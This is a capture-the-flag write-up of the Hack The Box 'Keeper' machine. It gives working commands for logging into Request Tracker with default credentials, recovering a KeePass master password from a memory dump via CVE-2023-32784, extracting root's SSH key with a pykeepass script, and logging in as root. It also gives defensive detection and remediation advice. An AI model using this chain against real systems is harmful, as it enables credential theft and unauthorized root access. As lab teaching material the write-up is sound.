Keeper
Executive summary — Keeper is a very current Easy Linux box built around secrets management: a Request Tracker (RT) ticketing system with a default admin account lets us read a ticket containing
lnorgaard's initial password. In their home there's a memory dump of a running KeePass process and the.kdbxdatabase; with CVE-2023-32784 we reconstruct the master password from the dump, and automating the database with pykeepass surfaces root's private SSH key, stored in PuTTY format. An RT → lnorgaard → KeePass dump (CVE) → root's key → root path.
| Platform | Hack The Box |
| Operating system | Linux |
| Difficulty | Easy |
| Status | Retired |
| Target IP | <TARGET_IP> |
Attack map
[80] Request Tracker (RT) → default credentials root:password
│ ticket reveals lnorgaard's initial password (Welcome2023!)
▼
[SSH] lnorgaard
│ home: KeePassDumpFull.dmp + passcodes.kdbx
│ CVE-2023-32784 (keepass-dump-masterkey) → master: "rødgrød med fløde"
▼
[KeePass] pykeepass automates the search → root's SSH key (PuTTY .ppk)
▼
[ROOT] puttygen → OpenSSH → ssh root (root.txt · user.txt)
1. Reconnaissance
nmap -sC -sV <TARGET_IP>
22/tcp open ssh
80/tcp open http
Only two open ports: SSH and HTTP. With such a small attack surface, the entry point can only be the web application on port 80.
2. Foothold — Request Tracker and reused credentials
Visiting http://<TARGET_IP> reveals Request Tracker (RT), Best Practical's support ticketing system. RT ships with a demo administrator account, root:password, which is still enabled here. Logging into the panel and browsing the ticket history, we find one related to onboarding user lnorgaard that exposes their initial password in plain text:
User: lnorgaard
Password: Welcome2023!
These are well-known, widely reused credentials: RT's demo account is rarely disabled in real deployments, and the initial passwords generated for new users end up leaking through the very ticketing system that manages them.
ssh lnorgaard@<TARGET_IP> # Welcome2023!
Shell as lnorgaard obtained. Their home directory holds two files we'll reuse in the next phase: KeePassDumpFull.dmp and passcodes.kdbx.
3. KeePass — recovering the master password from memory (CVE-2023-32784)
KeePassDumpFull.dmp is a RAM memory dump taken while a KeePass process was open; passcodes.kdbx is the password database, encrypted with a master password we don't know yet. Goal: pull the master password out of the dump, open the database, and reach the credentials/key it holds for root.
CVE-2023-32784 affects KeePass 2.x before 2.54: the secure text control used by the master-password prompt leaves a residue of almost every typed character in process memory (the very first one is usually lost). A single memory dump is enough to reconstruct the password almost entirely. We use the public tool that implements the technique:
git clone https://github.com/matro7sh/keepass-dump-masterkey.git
python3 keepass-dump-masterkey/poc.py -d KeePassDumpFull.dmp
rødgrød med fløde
The recovered master password is, literally, the name of a Danish dessert — a good reminder that password "complexity" is worthless once it's exposed in memory.
4. Automating the extraction — pykeepass and root's PuTTY key
Instead of manually opening passcodes.kdbx in KeePassXC and digging through entries one by one, we automate the search with pykeepass, the Python library for scripting KeePass databases:
python3 -m pip install --user pykeepass --break-system-packages
The following script opens the database with the recovered master password, walks every entry concatenating title, username, password and notes, and looks for the PuTTY-User-Key-File header — the marker of a private key exported in PuTTY's (.ppk) format:
python3 - <<'PY'
from pykeepass import PyKeePass
kp = PyKeePass("passcodes.kdbx", password="rødgrød med fløde")
for entry in kp.entries:
text = "\n".join([
entry.title or "",
entry.username or "",
entry.password or "",
entry.notes or ""
])
if "PuTTY-User-Key-File" in text:
start = text.index("PuTTY-User-Key-File")
key = text[start:]
lines = [line.strip() for line in key.splitlines() if line.strip()]
with open("root-putty.key", "w") as f:
f.write("\n".join(lines) + "\n")
print("[+] Clave PuTTY guardada en root-putty.key")
break
else:
print("[-] No se encontró la clave PuTTY")
PY
[+] Clave PuTTY guardada en root-putty.key
One KeePass entry stored, in its notes, root's complete private SSH key in PuTTY format. The script extracts it and leaves it ready in
root-putty.keywith no manual intervention.
5. Escalation — from PuTTY to OpenSSH and root access
Linux SSH doesn't understand PuTTY's .ppk format; it needs converting to OpenSSH with puttygen:
sudo apt install putty-tools -y
puttygen root-putty.key -O private-openssh -o keeper-root
chmod 600 keeper-root
ssh -i keeper-root root@<TARGET_IP>
Session opened directly as root, with no additional local privilege-escalation technique required. System fully compromised:
cat /root/root.txt
cat /home/lnorgaard/user.txt
🏴☠️
Vulnerability summary
| Phase | Component | Vulnerability | Impact |
|---|---|---|---|
| Foothold | Request Tracker (RT) | Demo administrator account left enabled (root:password) → ticket leaks lnorgaard's initial password | SSH as lnorgaard |
| Credentials | KeePass 2.x (running process) | CVE-2023-32784 — the master password is left residual in RAM and reconstructed from a memory dump | Read access to the .kdbx database |
| PrivEsc | Root's KeePass entry | Root's private SSH key stored in plaintext inside the password manager (PuTTY format) | Shell as root |
Defender's view
Keeper is a chain of secrets handled badly. Each one leaves a trace, and each one has a clean fix.
Request Tracker demo admin and a password in a ticket
How it shows up in logs / telemetry
- The web access log shows a successful login to RT followed by the admin interface being browsed from an external address; RT itself records which user viewed or searched tickets.
auth.logthen showsAccepted password for lnorgaardover SSH from the same source, minutes later: correlating web and SSH logins by source IP links the two steps.
How to fix it
- Disable or rename RT's built-in
rootaccount and set a strong password at install time; put the admin UI behind SSO or MFA. - Never put initial passwords in tickets: use one-time links or force a change at first login.
KeePass master password in a memory dump (CVE-2023-32784)
How it shows up in logs / telemetry
- A large
.dmpof the KeePass process sitting next to the.kdbxin a home directory is a finding by itself; file-creation monitoring or a DLP rule for dump files catches it. - On endpoints, EDR flags tools that open a handle to the KeePass process to read its memory.
How to fix it
- Update KeePass to 2.54 or later, which addresses this residue issue.
- Never copy process dumps off a workstation, and lock or close the password manager when unattended; enable full-disk encryption so swap and hibernation files are protected too.
Root's SSH key stored in a user's vault
How it shows up in logs / telemetry
auth.logshowsAccepted publickey for root: direct root SSH logins should be rare enough to alert on every time.
How to fix it
- Set
PermitRootLogin noand use named accounts with sudo, so a stolen key does not open root directly. - Keep privileged keys out of shared or personal vaults; use an SSH certificate authority or a privileged-access tool, and rotate the key after this kind of exposure.
Lessons learned
- Disable demo accounts on any product you deploy (RT included):
root:passwordis very widely known. - Don't leave initial passwords in plain text inside the very ticketing/support system that manages them.
- CVE-2023-32784: KeePass 2.x memory dumps (< 2.54) leak almost the entire master password. Update, and don't leave the process unlocked and unattended.
- Automating with pykeepass (or similar tools) massively speeds up secret-hunting in large databases — useful both for attacking and for auditing your own databases.
- Never store root's SSH keys — in any format — inside a standard user's password manager; a different format (PuTTY vs OpenSSH) isn't a security barrier, it only takes
puttygento convert it.